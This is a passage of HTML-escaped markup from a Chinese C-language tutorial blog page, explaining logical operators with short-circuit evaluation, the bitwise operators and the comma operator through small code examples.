class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e(i \u0026lt; j) \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面式子中,\u003ccode\u003ei \u0026lt; j\u003c/code\u003e返回\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e,所以最终是\u003ccode\u003e0\u003c/code\u003e或\u003ccode\u003e1\u003c/code\u003e与变量\u003ccode\u003ek\u003c/code\u003e进行比较。如果想要判断变量\u003ccode\u003ej\u003c/code\u003e的值是否在\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003ek\u003c/code\u003e之间,应该使用下面的写法。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ei \u0026lt; j \u0026amp;\u0026amp; j \u0026lt; k\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"逻辑运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%BB%E8%BE%91%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"逻辑运算符\"\u003e\u003c/a\u003e逻辑运算符\u003c/h3\u003e\u003cp\u003e逻辑运算符提供逻辑判断功能,用于构建更复杂的表达式,主要有下面三个运算符。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e!\u003c/code\u003e:否运算符(改变单个表达式的真伪)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e:与运算符(两侧的表达式都为真,则为真,否则为伪)。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e||\u003c/code\u003e:或运算符(两侧至少有一个表达式为真,则为真,否则为伪)。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e下面是与运算符的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (x \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e \u0026amp;\u0026amp; y \u0026gt; \u003cspan class=\"number\"\u003e20\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Doing something!\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,只有\u003ccode\u003ex \u0026lt; 10\u003c/code\u003e和\u003ccode\u003ey \u0026gt; 20\u003c/code\u003e同时为真,\u003ccode\u003ex \u0026lt; 10 \u0026amp;\u0026amp; y \u0026gt; 20\u003c/code\u003e才会为真。\u003c/p\u003e\u003cp\u003e下面是否运算符的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!(x \u0026lt; \u003cspan class=\"number\"\u003e12\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;x is not less than 12\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,由于否运算符\u003ccode\u003e!\u003c/code\u003e具有比\u003ccode\u003e\u0026lt;\u003c/code\u003e更高的优先级,所以必须使用括号,才能对表达式\u003ccode\u003ex \u0026lt; 12\u003c/code\u003e进行否运算。当然,合理的写法是\u003ccode\u003eif (x \u0026gt;= 12)\u003c/code\u003e,这里只是为了举例。\u003c/p\u003e\u003cp\u003e对于逻辑运算符来说,任何非零值都表示真,零值表示伪。比如,\u003ccode\u003e5 || 0\u003c/code\u003e会返回\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e5 \u0026amp;\u0026amp; 0\u003c/code\u003e会返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e逻辑运算符还有一个特点,它总是先对左侧的表达式求值,再对右边的表达式求值,这个顺序是保证的。如果左边的表达式满足逻辑运算符的条件,就不再对右边的表达式求值。这种情况称为“短路”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (number != \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; \u003cspan class=\"number\"\u003e12\u003c/span\u003e/number == \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,如果\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e左侧的表达式(\u003ccode\u003enumber != 0\u003c/code\u003e)为伪,即\u003ccode\u003enumber\u003c/code\u003e等于\u003ccode\u003e0\u003c/code\u003e时,右侧的表达式(\u003ccode\u003e12/number == 2\u003c/code\u003e)是不会执行的。因为这时左侧表达式返回\u003ccode\u003e0\u003c/code\u003e,整个\u003ccode\u003e\u0026amp;\u0026amp;\u003c/code\u003e表达式肯定为伪,就直接返回\u003ccode\u003e0\u003c/code\u003e,不再执行右侧的表达式了。\u003c/p\u003e\u003cp\u003e由于逻辑运算符的执行顺序是先左后右,所以下面的代码是有问题的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e ((x++ \u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u0026amp;\u0026amp; (x + y \u0026lt; \u003cspan class=\"number\"\u003e20\u003c/span\u003e))\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,执行左侧表达式后,变量\u003ccode\u003ex\u003c/code\u003e的值就已经变了。等到执行右侧表达式的时候,是用新的值在计算,这通常不是原始意图。\u003c/p\u003e\u003ch3 id=\"位运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%8D%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"位运算符\"\u003e\u003c/a\u003e位运算符\u003c/h3\u003e\u003cp\u003eC 语言提供一些位运算符,用来操作二进制位(bit)。\u003c/p\u003e\u003cp\u003e(1)取反运算符\u003ccode\u003e~\u003c/code\u003e\u003c/p\u003e\u003cp\u003e取反运算符\u003ccode\u003e~\u003c/code\u003e是一个一元运算符,用来将每一个二进制位变成相反值,即\u003ccode\u003e0\u003c/code\u003e变成\u003ccode\u003e1\u003c/code\u003e,\u003ccode\u003e1\u003c/code\u003e变成\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 01101100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e~ \u003cspan class=\"number\"\u003e10010011\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e~\u003c/code\u003e对每个二进制位取反,就得到了一个新的值。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e~\u003c/code\u003e运算符不会改变变量的值,只是返回一个新的值。\u003c/p\u003e\u003cp\u003e(2)与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。当两个二进制位都为\u003ccode\u003e1\u003c/code\u003e,就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 00010001\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e \u0026amp; \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,两个八位二进制数进行逐位比较,返回一个新的值。\u003c/p\u003e\u003cp\u003e与运算符\u003ccode\u003e\u0026amp;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026amp;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026amp; \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026amp;= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(3)或运算符\u003ccode\u003e|\u003c/code\u003e\u003c/p\u003e\u003cp\u003e或运算符\u003ccode\u003e|\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。两个二进制位只要有一个为\u003ccode\u003e1\u003c/code\u003e(包含两个都为\u003ccode\u003e1\u003c/code\u003e的情况),就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 10111111\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e | \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e或运算符\u003ccode\u003e|\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e|=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val | \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval |= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(4)异或运算符\u003ccode\u003e^\u003c/code\u003e\u003c/p\u003e\u003cp\u003e异或运算符\u003ccode\u003e^\u003c/code\u003e将两个值的每一个二进制位进行比较,返回一个新的值。两个二进制位有且仅有一个为\u003ccode\u003e1\u003c/code\u003e,就返回\u003ccode\u003e1\u003c/code\u003e,否则返回\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 10101110\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10010011\u003c/span\u003e ^ \u003cspan class=\"number\"\u003e00111101\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e异或运算符\u003ccode\u003e^\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e^=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val ^ \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval ^= \u003cspan class=\"number\"\u003e0377\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(5)左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e将左侧运算数的每一位,向左移动指定的位数,尾部空出来的位置使用\u003ccode\u003e0\u003c/code\u003e填充。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 1000101000\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10001010\u003c/span\u003e \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e10001010\u003c/code\u003e的每一个二进制位,都向左侧移动了两位。\u003c/p\u003e\u003cp\u003e左移运算符相当于将运算数乘以2的指定次方,比如左移2位相当于乘以4(2的2次方)。\u003c/p\u003e\u003cp\u003e左移运算符\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026lt;\u0026lt;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026lt;\u0026lt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e(6)右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e\u003c/p\u003e\u003cp\u003e右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e将左侧运算数的每一位,向右移动指定的位数,尾部无法容纳的值将丢弃,头部空出来的位置使用\u003ccode\u003e0\u003c/code\u003e填充。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 返回 00100010\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"number\"\u003e10001010\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e10001010\u003c/code\u003e的每一个二进制位,都向右移动两位。最低的两位\u003ccode\u003e10\u003c/code\u003e被丢弃,头部多出来的两位补\u003ccode\u003e0\u003c/code\u003e,所以最后得到\u003ccode\u003e00100010\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e注意,右移运算符最好只用于无符号整数,不要用于负数。因为不同系统对于右移后如何处理负数的符号位,有不同的做法,可能会得到不一样的结果。\u003c/p\u003e\u003cp\u003e右移运算符相当于将运算数除以2的指定次方,比如右移2位就相当于除以4(2的2次方)。\u003c/p\u003e\u003cp\u003e右移运算符\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e可以与赋值运算符\u003ccode\u003e=\u003c/code\u003e结合,简写成\u003ccode\u003e\u0026gt;\u0026gt;=\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e val = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval = val \u0026gt;\u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 简写为\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eval \u0026gt;\u0026gt;= \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"逗号运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%80%97%E5%8F%B7%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"逗号运算符\"\u003e\u003c/a\u003e逗号运算符\u003c/h3\u003e\u003cp\u003e逗号运算符用于将多个表达式写在一起,从左到右依次运行每个表达式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e10\u003c/span\u003e, y = \u003cspan class=\"number\"\u003e20\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,有两个表达式(\u003ccode\u003ex = 10\u003c/code\u003e和\u003ccode\u003ey = 20\u003c/code\u003e),逗号使得它们可以放在同一条语句里面。\u003c/p\u003e\u003cp\u003e逗号运算符返回最后一个表达式的值,作为整个语句的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e x;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ex = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan 